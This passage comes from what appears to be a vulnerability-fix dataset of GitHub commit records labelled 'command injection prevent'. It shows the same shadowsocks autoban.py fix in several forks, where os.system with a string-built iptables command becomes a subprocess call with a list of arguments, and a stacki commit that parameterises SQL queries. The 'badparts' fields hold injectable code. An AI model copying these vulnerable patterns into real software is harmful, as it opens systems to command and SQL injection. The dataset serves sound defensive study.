WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nfrom __future__ import absolute_import, division, print_function, \\\n with_statement\n\nimport os\nimport sys\nimport argparse\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='See README')\n parser.add_argument('-c', '--count', default=3, type=int,\n help='with how many failure times it should be '\n 'considered as an attack')\n config = parser.parse_args()\n ips = {}\n banned = set()\n for line in sys.stdin:\n if 'can not parse header when' in line:\n ip = line.split()[-1].split(':')[-2]\n if ip not in ips:\n ips[ip] = 1\n print(ip)\n sys.stdout.flush()\n else:\n ips[ip] += 1\n if ip not in banned and ips[ip] >= config.count:\n banned.add(ip)\n cmd = 'iptables -A INPUT -s %s -j DROP' % ip\n print(cmd, file=sys.stderr)\n sys.stderr.flush()\n os.system(cmd)\n"}}, "msg": "use list instead of string, prevent injection attack. (#1009)\n\n* fix issue:\r\nhttps://github.com/shadowsocks/shadowsocks/issues/995\r\nCommand Execution\r\n\r\nuse list instead of string, prevent injection attack."}}, "https://github.com/duanhp/shadowsocks": {"e332ec93e9c90f1cbee676b022bf2c5d5b7b1239": {"url": "https://api.github.com/repos/duanhp/shadowsocks/commits/e332ec93e9c90f1cbee676b022bf2c5d5b7b1239", "html_url": "https://github.com/duanhp/shadowsocks/commit/e332ec93e9c90f1cbee676b022bf2c5d5b7b1239", "message": "use list instead of string, prevent injection attack. (#1009)\n\n* fix issue:\r\nhttps://github.com/shadowsocks/shadowsocks/issues/995\r\nCommand Execution\r\n\r\nuse list instead of string, prevent injection attack.", "sha": "e332ec93e9c90f1cbee676b022bf2c5d5b7b1239", "keyword": "command injection prevent", "diff": "diff --git a/utils/autoban.py b/utils/autoban.py\nindex c7af0a5..52aa163 100755\n--- a/utils/autoban.py\n+++ b/utils/autoban.py\n@@ -24,9 +24,17 @@\n from __future__ import absolute_import, division, print_function, \\\n with_statement\n \n-import os\n import sys\n+import socket\n import argparse\n+import subprocess\n+\n+\n+def inet_pton(str_ip):\n+ try:\n+ return socket.inet_pton(socket.AF_INET, str_ip)\n+ except socket.error:\n+ return None\n \n if __name__ == '__main__':\n parser = argparse.ArgumentParser(description='See README')\n@@ -37,17 +45,22 @@\n ips = {}\n banned = set()\n for line in sys.stdin:\n- if 'can not parse header when' in line:\n- ip = line.split()[-1].split(':')[-2]\n- if ip not in ips:\n- ips[ip] = 1\n- print(ip)\n- sys.stdout.flush()\n- else:\n- ips[ip] += 1\n- if ip not in banned and ips[ip] >= config.count:\n- banned.add(ip)\n- cmd = 'iptables -A INPUT -s %s -j DROP' % ip\n- print(cmd, file=sys.stderr)\n- sys.stderr.flush()\n- os.system(cmd)\n+ if 'can not parse header when' not in line:\n+ continue\n+ ip_str = line.split()[-1].rsplit(':', 1)[0]\n+ ip = inet_pton(ip_str)\n+ if ip is None:\n+ continue\n+ if ip not in ips:\n+ ips[ip] = 1\n+ sys.stdout.flush()\n+ else:\n+ ips[ip] += 1\n+ if ip not in banned and ips[ip] >= config.count:\n+ banned.add(ip)\n+ print('ban ip %s' % ip_str)\n+ cmd = ['iptables', '-A', 'INPUT', '-s', ip_str, '-j', 'DROP',\n+ '-m', 'comment', '--comment', 'autoban']\n+ print(' '.join(cmd), file=sys.stderr)\n+ sys.stderr.flush()\n+ subprocess.call(cmd)\n", "files": {"/utils/autoban.py": {"changes": [{"diff": " ips = {}\n banned = set()\n for line in sys.stdin:\n- if 'can not parse header when' in line:\n- ip = line.split()[-1].split(':')[-2]\n- if ip not in ips:\n- ips[ip] = 1\n- print(ip)\n- sys.stdout.flush()\n- else:\n- ips[ip] += 1\n- if ip not in banned and ips[ip] >= config.count:\n- banned.add(ip)\n- cmd = 'iptables -A INPUT -s %s -j DROP' % ip\n- print(cmd, file=sys.stderr)\n- sys.stderr.flush()\n- os.system(cmd)\n+ if 'can not parse header when' not in line:\n+ continue\n+ ip_str = line.split()[-1].rsplit(':', 1)[0]\n+ ip = inet_pton(ip_str)\n+ if ip is None:\n+ continue\n+ if ip not in ips:\n+ ips[ip] = 1\n+ sys.stdout.flush()\n+ else:\n+ ips[ip] += 1\n+ if ip not in banned and ips[ip] >= config.count:\n+ banned.add(ip)\n+ print('ban ip %s' % ip_str)\n+ cmd = ['iptables', '-A', 'INPUT', '-s', ip_str, '-j', 'DROP',\n+ '-m', 'comment', '--comment', 'autoban']\n+ print(' '.join(cmd), file=sys.stderr)\n+ sys.stderr.flush()\n+ subprocess.call(cmd)\n", "add": 19, "remove": 14, "filename": "/utils/autoban.py", "badparts": [" if 'can not parse header when' in line:", " ip = line.split()[-1].split(':')[-2]", " if ip not in ips:", " ips[ip] = 1", " print(ip)", " sys.stdout.flush()", " else:", " ips[ip] += 1", " if ip not in banned and ips[ip] >= config.count:", " banned.add(ip)", " cmd = 'iptables -A INPUT -s %s -j DROP' % ip", " print(cmd, file=sys.stderr)", " sys.stderr.flush()", " os.system(cmd)"], "goodparts": [" if 'can not parse header when' not in line:", " continue", " ip_str = line.split()[-1].rsplit(':', 1)[0]", " ip = inet_pton(ip_str)", " if ip is None:", " continue", " if ip not in ips:", " ips[ip] = 1", " sys.stdout.flush()", " else:", " ips[ip] += 1", " if ip not in banned and ips[ip] >= config.count:", " banned.add(ip)", " print('ban ip %s' % ip_str)", " cmd = ['iptables', '-A', 'INPUT', '-s', ip_str, '-j', 'DROP',", " '-m', 'comment', '--comment', 'autoban']", " print(' '.join(cmd), file=sys.stderr)", " sys.stderr.flush()", " subprocess.call(cmd)"]}], "source": "\n from __future__ import absolute_import, division, print_function, \\ with_statement import os import sys import argparse if __name__=='__main__': parser=argparse.ArgumentParser(description='See README') parser.add_argument('-c', '--count', default=3, type=int, help='with how many failure times it should be ' 'considered as an attack') config=parser.parse_args() ips={} banned=set() for line in sys.stdin: if 'can not parse header when' in line: ip=line.split()[-1].split(':')[-2] if ip not in ips: ips[ip]=1 print(ip) sys.stdout.flush() else: ips[ip] +=1 if ip not in banned and ips[ip] >=config.count: banned.add(ip) cmd='iptables -A INPUT -s %s -j DROP' % ip print(cmd, file=sys.stderr) sys.stderr.flush() os.system(cmd) ", "sourceWithComments": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# Copyright (c) 2015 clowwindy\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nfrom __future__ import absolute_import, division, print_function, \\\n with_statement\n\nimport os\nimport sys\nimport argparse\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='See README')\n parser.add_argument('-c', '--count', default=3, type=int,\n help='with how many failure times it should be '\n 'considered as an attack')\n config = parser.parse_args()\n ips = {}\n banned = set()\n for line in sys.stdin:\n if 'can not parse header when' in line:\n ip = line.split()[-1].split(':')[-2]\n if ip not in ips:\n ips[ip] = 1\n print(ip)\n sys.stdout.flush()\n else:\n ips[ip] += 1\n if ip not in banned and ips[ip] >= config.count:\n banned.add(ip)\n cmd = 'iptables -A INPUT -s %s -j DROP' % ip\n print(cmd, file=sys.stderr)\n sys.stderr.flush()\n os.system(cmd)\n"}}, "msg": "use list instead of string, prevent injection attack. (#1009)\n\n* fix issue:\r\nhttps://github.com/shadowsocks/shadowsocks/issues/995\r\nCommand Execution\r\n\r\nuse list instead of string, prevent injection attack."}}, "https://github.com/hu4012/shadowscoks": {"e332ec93e9c90f1cbee676b022bf2c5d5b7b1239": {"url": "https://api.github.com/repos/hu4012/shadowscoks/commits/e332ec93e9c90f1cbee676b022bf2c5d5b7b1239", "html_url": "https://github.com/hu4012/shadowscoks/commit/e332ec93e9c90f1cbee676b022bf2c5d5b7b1239", "message": "use list instead of string, prevent injection attack. (#1009)\n\n* fix issue:\r\nhttps://github.com/shadowsocks/shadowsocks/issues/995\r\nCommand Execution\r\n\r\nuse list instead of string, prevent injection attack.", "sha": "e332ec93e9c90f1cbee676b022bf2c5d5b7b1239", "keyword": "command injection prevent", "diff": "diff --git a/utils/autoban.py b/utils/autoban.py\nindex c7af0a5..52aa163 100755\n--- a/utils/autoban.py\n+++ b/utils/autoban.py\n@@ -24,9 +24,17 @@\n from __future__ import absolute_import, division, print_function, \\\n with_statement\n \n-import os\n import sys\n+import socket\n import argparse\n+import subprocess\n+\n+\n+def inet_pton(str_ip):\n+ try:\n+ return socket.inet_pton(socket.AF_INET, str_ip)\n+ except socket.error:\n+ return None\n \n if __name__ == '__main__':\n parser = argparse.ArgumentParser(description='See README')\n@@ -37,17 +45,22 @@\n ips = {}\n banned = set()\n for line in sys.stdin:\n- if 'can not parse header when' in line:\n- ip = line.split()[-1].split(':')[-2]\n- if ip not in ips:\n- ips[ip] = 1\n- print(ip)\n- sys.stdout.flush()\n- else:\n- ips[ip] += 1\n- if ip not in banned and ips[ip] >= config.count:\n- banned.add(ip)\n- cmd = 'iptables -A INPUT -s %s -j DROP' % ip\n- print(cmd, file=sys.stderr)\n- sys.stderr.flush()\n- os.system(cmd)\n+ if 'can not parse header when' not in line:\n+ continue\n+ ip_str = line.split()[-1].rsplit(':', 1)[0]\n+ ip = inet_pton(ip_str)\n+ if ip is None:\n+ continue\n+ if ip not in ips:\n+ ips[ip] = 1\n+ sys.stdout.flush()\n+ else:\n+ ips[ip] += 1\n+ if ip not in banned and ips[ip] >= config.count:\n+ banned.add(ip)\n+ print('ban ip %s' % ip_str)\n+ cmd = ['iptables', '-A', 'INPUT', '-s', ip_str, '-j', 'DROP',\n+ '-m', 'comment', '--comment', 'autoban']\n+ print(' '.join(cmd), file=sys.stderr)\n+ sys.stderr.flush()\n+ subprocess.call(cmd)\n", "files": {"/utils/autoban.py": {"changes": [{"diff": " ips = {}\n banned = set()\n for line in sys.stdin:\n- if 'can not parse header when' in line:\n- ip = line.split()[-1].split(':')[-2]\n- if ip not in ips:\n- ips[ip] = 1\n- print(ip)\n- sys.stdout.flush()\n- else:\n- ips[ip] += 1\n- if ip not in banned and ips[ip] >= config.count:\n- banned.add(ip)\n- cmd = 'iptables -A INPUT -s %s -j DROP' % ip\n- print(cmd, file=sys.stderr)\n- sys.stderr.flush()\n- os.system(cmd)\n+ if 'can not parse header when' not in line:\n+ continue\n+ ip_str = line.split()[-1].rsplit(':', 1)[0]\n+ ip = inet_pton(ip_str)\n+ if ip is None:\n+ continue\n+ if ip not in ips:\n+ ips[ip] = 1\n+ sys.stdout.flush()\n+ else:\n+ ips[ip] += 1\n+ if ip not in banned and ips[ip] >= config.count:\n+ banned.add(ip)\n+ print('ban ip %s' % ip_str)\n+ cmd = ['iptables', '-A', 'INPUT', '-s', ip_str, '-j', 'DROP',\n+ '-m', 'comment', '--comment', 'autoban']\n+ print(' '.join(cmd), file=sys.stderr)\n+ sys.stderr.flush()\n+ subprocess.call(cmd)\n", "add": 19, "remove": 14, "filename": "/utils/autoban.py", "badparts": [" if 'can not parse header when' in line:", " ip = line.split()[-1].split(':')[-2]", " if ip not in ips:", " ips[ip] = 1", " print(ip)", " sys.stdout.flush()", " else:", " ips[ip] += 1", " if ip not in banned and ips[ip] >= config.count:", " banned.add(ip)", " cmd = 'iptables -A INPUT -s %s -j DROP' % ip", " print(cmd, file=sys.stderr)", " sys.stderr.flush()", " os.system(cmd)"], "goodparts": [" if 'can not parse header when' not in line:", " continue", " ip_str = line.split()[-1].rsplit(':', 1)[0]", " ip = inet_pton(ip_str)", " if ip is None:", " continue", " if ip not in ips:", " ips[ip] = 1", " sys.stdout.flush()", " else:", " ips[ip] += 1", " if ip not in banned and ips[ip] >= config.count:", " banned.add(ip)", " print('ban ip %s' % ip_str)", " cmd = ['iptables', '-A', 'INPUT', '-s', ip_str, '-j', 'DROP',", " '-m', 'comment', '--comment', 'autoban']", " print(' '.join(cmd), file=sys.stderr)", " sys.stderr.flush()", " subprocess.call(cmd)"]}], "source": "\n from __future__ import absolute_import, division, print_function, \\ with_statement import os import sys import argparse if __name__=='__main__': parser=argparse.ArgumentParser(description='See README') parser.add_argument('-c', '--count', default=3, type=int, help='with how many failure times it should be ' 'considered as an attack') config=parser.parse_args() ips={} banned=set() for line in sys.stdin: if 'can not parse header when' in line: ip=line.split()[-1].split(':')[-2] if ip not in ips: ips[ip]=1 print(ip) sys.stdout.flush() else: ips[ip] +=1 if ip not in banned and ips[ip] >=config.count: banned.add(ip) cmd='iptables -A INPUT -s %s -j DROP' % ip print(cmd, file=sys.stderr) sys.stderr.flush() os.system(cmd) ", "sourceWithComments": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# Copyright (c) 2015 clowwindy\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nfrom __future__ import absolute_import, division, print_function, \\\n with_statement\n\nimport os\nimport sys\nimport argparse\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='See README')\n parser.add_argument('-c', '--count', default=3, type=int,\n help='with how many failure times it should be '\n 'considered as an attack')\n config = parser.parse_args()\n ips = {}\n banned = set()\n for line in sys.stdin:\n if 'can not parse header when' in line:\n ip = line.split()[-1].split(':')[-2]\n if ip not in ips:\n ips[ip] = 1\n print(ip)\n sys.stdout.flush()\n else:\n ips[ip] += 1\n if ip not in banned and ips[ip] >= config.count:\n banned.add(ip)\n cmd = 'iptables -A INPUT -s %s -j DROP' % ip\n print(cmd, file=sys.stderr)\n sys.stderr.flush()\n os.system(cmd)\n"}}, "msg": "use list instead of string, prevent injection attack. (#1009)\n\n* fix issue:\r\nhttps://github.com/shadowsocks/shadowsocks/issues/995\r\nCommand Execution\r\n\r\nuse list instead of string, prevent injection attack."}}, "https://github.com/yumoh/shadowsocks": {"e332ec93e9c90f1cbee676b022bf2c5d5b7b1239": {"url": "https://api.github.com/repos/yumoh/shadowsocks/commits/e332ec93e9c90f1cbee676b022bf2c5d5b7b1239", "html_url": "https://github.com/yumoh/shadowsocks/commit/e332ec93e9c90f1cbee676b022bf2c5d5b7b1239", "message": "use list instead of string, prevent injection attack. (#1009)\n\n* fix issue:\r\nhttps://github.com/shadowsocks/shadowsocks/issues/995\r\nCommand Execution\r\n\r\nuse list instead of string, prevent injection attack.", "sha": "e332ec93e9c90f1cbee676b022bf2c5d5b7b1239", "keyword": "command injection prevent", "diff": "diff --git a/utils/autoban.py b/utils/autoban.py\nindex c7af0a5..52aa163 100755\n--- a/utils/autoban.py\n+++ b/utils/autoban.py\n@@ -24,9 +24,17 @@\n from __future__ import absolute_import, division, print_function, \\\n with_statement\n \n-import os\n import sys\n+import socket\n import argparse\n+import subprocess\n+\n+\n+def inet_pton(str_ip):\n+ try:\n+ return socket.inet_pton(socket.AF_INET, str_ip)\n+ except socket.error:\n+ return None\n \n if __name__ == '__main__':\n parser = argparse.ArgumentParser(description='See README')\n@@ -37,17 +45,22 @@\n ips = {}\n banned = set()\n for line in sys.stdin:\n- if 'can not parse header when' in line:\n- ip = line.split()[-1].split(':')[-2]\n- if ip not in ips:\n- ips[ip] = 1\n- print(ip)\n- sys.stdout.flush()\n- else:\n- ips[ip] += 1\n- if ip not in banned and ips[ip] >= config.count:\n- banned.add(ip)\n- cmd = 'iptables -A INPUT -s %s -j DROP' % ip\n- print(cmd, file=sys.stderr)\n- sys.stderr.flush()\n- os.system(cmd)\n+ if 'can not parse header when' not in line:\n+ continue\n+ ip_str = line.split()[-1].rsplit(':', 1)[0]\n+ ip = inet_pton(ip_str)\n+ if ip is None:\n+ continue\n+ if ip not in ips:\n+ ips[ip] = 1\n+ sys.stdout.flush()\n+ else:\n+ ips[ip] += 1\n+ if ip not in banned and ips[ip] >= config.count:\n+ banned.add(ip)\n+ print('ban ip %s' % ip_str)\n+ cmd = ['iptables', '-A', 'INPUT', '-s', ip_str, '-j', 'DROP',\n+ '-m', 'comment', '--comment', 'autoban']\n+ print(' '.join(cmd), file=sys.stderr)\n+ sys.stderr.flush()\n+ subprocess.call(cmd)\n", "files": {"/utils/autoban.py": {"changes": [{"diff": " ips = {}\n banned = set()\n for line in sys.stdin:\n- if 'can not parse header when' in line:\n- ip = line.split()[-1].split(':')[-2]\n- if ip not in ips:\n- ips[ip] = 1\n- print(ip)\n- sys.stdout.flush()\n- else:\n- ips[ip] += 1\n- if ip not in banned and ips[ip] >= config.count:\n- banned.add(ip)\n- cmd = 'iptables -A INPUT -s %s -j DROP' % ip\n- print(cmd, file=sys.stderr)\n- sys.stderr.flush()\n- os.system(cmd)\n+ if 'can not parse header when' not in line:\n+ continue\n+ ip_str = line.split()[-1].rsplit(':', 1)[0]\n+ ip = inet_pton(ip_str)\n+ if ip is None:\n+ continue\n+ if ip not in ips:\n+ ips[ip] = 1\n+ sys.stdout.flush()\n+ else:\n+ ips[ip] += 1\n+ if ip not in banned and ips[ip] >= config.count:\n+ banned.add(ip)\n+ print('ban ip %s' % ip_str)\n+ cmd = ['iptables', '-A', 'INPUT', '-s', ip_str, '-j', 'DROP',\n+ '-m', 'comment', '--comment', 'autoban']\n+ print(' '.join(cmd), file=sys.stderr)\n+ sys.stderr.flush()\n+ subprocess.call(cmd)\n", "add": 19, "remove": 14, "filename": "/utils/autoban.py", "badparts": [" if 'can not parse header when' in line:", " ip = line.split()[-1].split(':')[-2]", " if ip not in ips:", " ips[ip] = 1", " print(ip)", " sys.stdout.flush()", " else:", " ips[ip] += 1", " if ip not in banned and ips[ip] >= config.count:", " banned.add(ip)", " cmd = 'iptables -A INPUT -s %s -j DROP' % ip", " print(cmd, file=sys.stderr)", " sys.stderr.flush()", " os.system(cmd)"], "goodparts": [" if 'can not parse header when' not in line:", " continue", " ip_str = line.split()[-1].rsplit(':', 1)[0]", " ip = inet_pton(ip_str)", " if ip is None:", " continue", " if ip not in ips:", " ips[ip] = 1", " sys.stdout.flush()", " else:", " ips[ip] += 1", " if ip not in banned and ips[ip] >= config.count:", " banned.add(ip)", " print('ban ip %s' % ip_str)", " cmd = ['iptables', '-A', 'INPUT', '-s', ip_str, '-j', 'DROP',", " '-m', 'comment', '--comment', 'autoban']", " print(' '.join(cmd), file=sys.stderr)", " sys.stderr.flush()", " subprocess.call(cmd)"]}], "source": "\n from __future__ import absolute_import, division, print_function, \\ with_statement import os import sys import argparse if __name__=='__main__': parser=argparse.ArgumentParser(description='See README') parser.add_argument('-c', '--count', default=3, type=int, help='with how many failure times it should be ' 'considered as an attack') config=parser.parse_args() ips={} banned=set() for line in sys.stdin: if 'can not parse header when' in line: ip=line.split()[-1].split(':')[-2] if ip not in ips: ips[ip]=1 print(ip) sys.stdout.flush() else: ips[ip] +=1 if ip not in banned and ips[ip] >=config.count: banned.add(ip) cmd='iptables -A INPUT -s %s -j DROP' % ip print(cmd, file=sys.stderr) sys.stderr.flush() os.system(cmd) ", "sourceWithComments": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# Copyright (c) 2015 clowwindy\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nfrom __future__ import absolute_import, division, print_function, \\\n with_statement\n\nimport os\nimport sys\nimport argparse\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='See README')\n parser.add_argument('-c', '--count', default=3, type=int,\n help='with how many failure times it should be '\n 'considered as an attack')\n config = parser.parse_args()\n ips = {}\n banned = set()\n for line in sys.stdin:\n if 'can not parse header when' in line:\n ip = line.split()[-1].split(':')[-2]\n if ip not in ips:\n ips[ip] = 1\n print(ip)\n sys.stdout.flush()\n else:\n ips[ip] += 1\n if ip not in banned and ips[ip] >= config.count:\n banned.add(ip)\n cmd = 'iptables -A INPUT -s %s -j DROP' % ip\n print(cmd, file=sys.stderr)\n sys.stderr.flush()\n os.system(cmd)\n"}}, "msg": "use list instead of string, prevent injection attack. (#1009)\n\n* fix issue:\r\nhttps://github.com/shadowsocks/shadowsocks/issues/995\r\nCommand Execution\r\n\r\nuse list instead of string, prevent injection attack."}}, "https://github.com/Teradata/stacki": {"41aa6af4a8e18e3607f5cae1add446fa52350ec8": {"url": "https://api.github.com/repos/Teradata/stacki/commits/41aa6af4a8e18e3607f5cae1add446fa52350ec8", "html_url": "https://github.com/Teradata/stacki/commit/41aa6af4a8e18e3607f5cae1add446fa52350ec8", "message": "FEATURE: [add,list] storage [controller,partition] with 'os' scope\n\nchanged sql commands to the new format to prevent injection", "sha": "41aa6af4a8e18e3607f5cae1add446fa52350ec8", "keyword": "command injection prevent", "diff": "diff --git a/common/src/stack/command/stack/commands/add/storage/controller/__init__.py b/common/src/stack/command/stack/commands/add/storage/controller/__init__.py\nindex 3d040290b..c05148d17 100644\n--- a/common/src/stack/command/stack/commands/add/storage/controller/__init__.py\n+++ b/common/src/stack/command/stack/commands/add/storage/controller/__init__.py\n@@ -10,7 +10,7 @@\n from stack.exception import CommandError, ParamRequired, ParamType, ParamValue, ParamError\n \n \n-class Command(stack.commands.HostArgumentProcessor,\n+class Command(stack.commands.OSArgumentProcessor, stack.commands.HostArgumentProcessor,\n \t\tstack.commands.ApplianceArgumentProcessor,\n \t\tstack.commands.add.command):\n \t\"\"\"\n@@ -126,7 +126,6 @@ def run(self, params, args):\n \t\t\t\tscope = 'appliance'\n \t\t\telif args[0] in hosts:\n \t\t\t\tscope = 'host'\n-\n \t\tif not scope:\n \t\t\traise CommandError(self, 'argument \"%s\" must be a valid os, appliance name or host name' % args[0])\n \n@@ -224,11 +223,17 @@ def run(self, params, args):\n \t\t\ttableid = -1\n \t\telif scope == 'appliance':\n \t\t\tself.db.execute(\"\"\"select id from appliances where\n-\t\t\t\tname = '%s' \"\"\" % name)\n+\t\t\t\tname = %s \"\"\", name)\n+\t\t\ttableid, = self.db.fetchone()\n+\n+\t\telif scope == 'os':\n+\t\t\tself.db.execute(\"\"\"select id from oses where\n+\t\t\t\tname = %s \"\"\", name)\n \t\t\ttableid, = self.db.fetchone()\n+\n \t\telif scope == 'host':\n \t\t\tself.db.execute(\"\"\"select id from nodes where\n-\t\t\t\tname = '%s' \"\"\" % name)\n+\t\t\t\tname = %s \"\"\", name)\n \t\t\ttableid, = self.db.fetchone()\n \n \t\t#\n@@ -255,8 +260,8 @@ def run(self, params, args):\n \t\tfor slot in slots:\n \t\t\tself.db.execute(\"\"\"insert into storage_controller\n \t\t\t\t(scope, tableid, adapter, enclosure, slot,\n-\t\t\t\traidlevel, arrayid, options) values ('%s', %s, %s, %s,\n-\t\t\t\t%s, %s, %s, '%s') \"\"\" % (scope, tableid, adapter,\n+\t\t\t\traidlevel, arrayid, options) values (%s, %s, %s, %s,\n+\t\t\t\t%s, %s, %s, %s) \"\"\",(scope, tableid, adapter,\n \t\t\t\tenclosure, slot, raidlevel, arrayid, options))\n \n \t\tfor hotspare in hotspares:\n@@ -266,7 +271,7 @@ def run(self, params, args):\n \n \t\t\tself.db.execute(\"\"\"insert into storage_controller\n \t\t\t\t(scope, tableid, adapter, enclosure, slot,\n-\t\t\t\traidlevel, arrayid, options) values ('%s', %s, %s, %s,\n-\t\t\t\t%s, %s, %s, '%s') \"\"\" % (scope, tableid, adapter,\n+\t\t\t\traidlevel, arrayid, options) values (%s, %s, %s, %s,\n+\t\t\t\t%s, %s, %s, %s) \"\"\",(scope, tableid, adapter,\n \t\t\t\tenclosure, hotspare, raidlevel, arrayid, options))\n \ndiff --git a/common/src/stack/command/stack/commands/add/storage/partition/__init__.py b/common/src/stack/command/stack/commands/add/storage/partition/__init__.py\nindex d6ee92363..a334884ce 100644\n--- a/common/src/stack/command/stack/commands/add/storage/partition/__init__.py\n+++ b/common/src/stack/command/stack/commands/add/storage/partition/__init__.py\n@@ -8,7 +8,7 @@\n from stack.exception import CommandError, ArgRequired, ArgValue, ParamRequired, ParamType, ParamValue\n \n \n-class Command(stack.commands.HostArgumentProcessor,\n+class Command(stack.commands.OSArgumentProcessor, stack.commands.HostArgumentProcessor,\n \t\tstack.commands.ApplianceArgumentProcessor,\n \t\tstack.commands.add.command):\n \t\"\"\"\n@@ -28,7 +28,7 @@ class Command(stack.commands.HostArgumentProcessor,\n \tMountpoint to create\n \t\n \n-\t\n+\t\n \tSize of the partition.\n \t\n \n@@ -40,7 +40,7 @@ class Command(stack.commands.HostArgumentProcessor,\n \tOptions that need to be supplied while adding partitions.\n \t\n \n-\t\n+\t\n \tThe relative partition id for this partition. Partitions will be\n \tcreated in ascending partition id order.\n \t\n@@ -75,8 +75,8 @@ class Command(stack.commands.HostArgumentProcessor,\n \tdef checkIt(self, device, scope, tableid, mountpt):\n \t\tself.db.execute(\"\"\"select Scope, TableID, Mountpoint,\n \t\t\tdevice, Size, FsType from storage_partition where\n-\t\t\tScope='%s' and TableID=%s and device= '%s'\n-\t\t\tand Mountpoint='%s'\"\"\" % (scope, tableid, device, mountpt))\n+\t\t\tScope=%s and TableID=%s and device= %s\n+\t\t\tand Mountpoint=%s\"\"\",(scope, tableid, device, mountpt))\n \n \t\trow = self.db.fetchone()\n \n@@ -139,6 +139,9 @@ def run(self, params, args):\n \n \t\tif not device:\n \t\t\traise ParamRequired(self, 'device')\n+\t\t#if size is blank then the sql command will crash\n+\t\tif not size:\n+\t\t\traise ParamRequired(self, 'size')\n \n \t\t# Validate size\n \t\tif size:\n@@ -152,6 +155,8 @@ def run(self, params, args):\n \t\t\t\tif mountpt == 'swap' and \\\n \t\t\t\t\tsize not in ['recommended', 'hibernation']:\n \t\t\t\t\t\traise ParamType(self, 'size', 'integer')\n+\t\t\t\telse:\n+\t\t\t\t\traise ParamType(self, 'size', 'integer')\n \t\t\tif s < 0:\n \t\t\t\traise ParamValue(self, 'size', '>= 0')\n \n@@ -159,8 +164,8 @@ def run(self, params, args):\n \t\tif partid:\n \t\t\ttry:\n \t\t\t\tp = int(partid)\n-\t\t\texcept:\n-\t\t\t\tpartid = None\n+\t\t\texcept ValueError:\n+\t\t\t\traise ParamValue(self, 'partid', 'an integer')\n \n \t\t\tif p < 1:\n \t\t\t\traise ParamValue(self, 'partid', '>= 0')\n@@ -177,6 +182,13 @@ def run(self, params, args):\n \t\t\tself.db.execute(\"\"\"select id from appliances where\n \t\t\t\tname = '%s' \"\"\" % name)\n \t\t\ttableid, = self.db.fetchone()\n+\n+\n+\t\telif scope == 'os':\n+\t\t\tself.db.execute(\"\"\"select id from oses where name = %s \"\"\", name)\n+\t\t\ttableid, = self.db.fetchone()\n+\n+\n \t\telif scope == 'host':\n \t\t\tself.db.execute(\"\"\"select id from nodes where\n \t\t\t\tname = '%s' \"\"\" % name)\n@@ -194,6 +206,8 @@ def run(self, params, args):\n \t\t#\n \t\t# now add the specifications to the database\n \t\t#\n+\n+\n \t\tsqlvars = \"Scope, TableID, device, Mountpoint, Size, FsType, Options\"\n \t\tsqldata = \"'%s', %s, '%s', '%s', %s, '%s', '%s'\" % \\\n \t\t\t(scope, tableid, device, mountpt, size, fstype, options)\n@@ -202,5 +216,7 @@ def run(self, params, args):\n \t\t\tsqlvars += \", PartID\"\n \t\t\tsqldata += \", %s\" % partid\n \n+\n \t\tself.db.execute(\"\"\"insert into storage_partition\n \t\t\t(%s) values (%s) \"\"\" 